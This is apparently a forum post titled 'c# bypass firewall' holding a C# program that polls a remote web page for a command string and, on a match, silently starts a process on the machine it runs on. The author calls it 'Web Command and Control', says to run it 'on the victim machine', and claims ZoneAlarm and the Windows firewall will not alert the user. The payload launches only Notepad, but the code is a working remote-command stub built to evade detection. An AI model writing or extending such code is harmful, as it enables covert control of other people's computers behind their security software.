c# bypass firewall

using System;
using System.IO;
using System.Net;
using System.Text;



namespace WebGet
{
    class Webget
    {
        public static void Main()
        {
            // Create a request for the URL. 
            WebRequest request = WebRequest.Create(
              "http://www.firewal.bypass.com/index3.html");
            // If required by the server, set the credentials.
            request.Credentials = CredentialCache.DefaultCredentials;
            // Get the response.
            WebResponse response = request.GetResponse();
            // Display the status.
            Console.WriteLine(((HttpWebResponse)response).StatusDescription);
            // Get the stream containing content returned by the server.
            Stream dataStream = response.GetResponseStream();
            // Open the stream using a StreamReader for easy access.
            StreamReader reader = new StreamReader(dataStream);
            // Read the content.
            string responseFromServer = reader.ReadLine();
            // Display the content.
            
                Console.WriteLine(responseFromServer);
                Console.ReadLine();
            
            // Clean up the streams and the response.
            reader.Close();
            response.Close();
            if(responseFromServer=="<html_NOTEPAD>")
            {
            string WorkingDirectory = "C:\\Windows"; 
            try
            {
                System.Diagnostics.Process p = new System.Diagnostics.Process();
                p.StartInfo.CreateNoWindow = true;
                p.StartInfo.WorkingDirectory = WorkingDirectory;
                p.StartInfo.FileName =  WorkingDirectory + "\\" + "notepad.exe";
                p.StartInfo.Arguments = null;     
                // build here the arguments                       
                p.EnableRaisingEvents = true;         
                // if you want to capture events
                p.StartInfo.UseShellExecute = false;
                p.Start();
            }
            catch(Exception exProcess){}
        }


        }
        

    }
}

And finally for Web Command and Control, have a website setup to feed a <html_NOTPEAD> in its index3.html page... run this on the victim machine and Notepad will spawn, no big deal really, EXCEPT that ZoneAlarm and MCSFT Firewall wont ALERT the user to anything...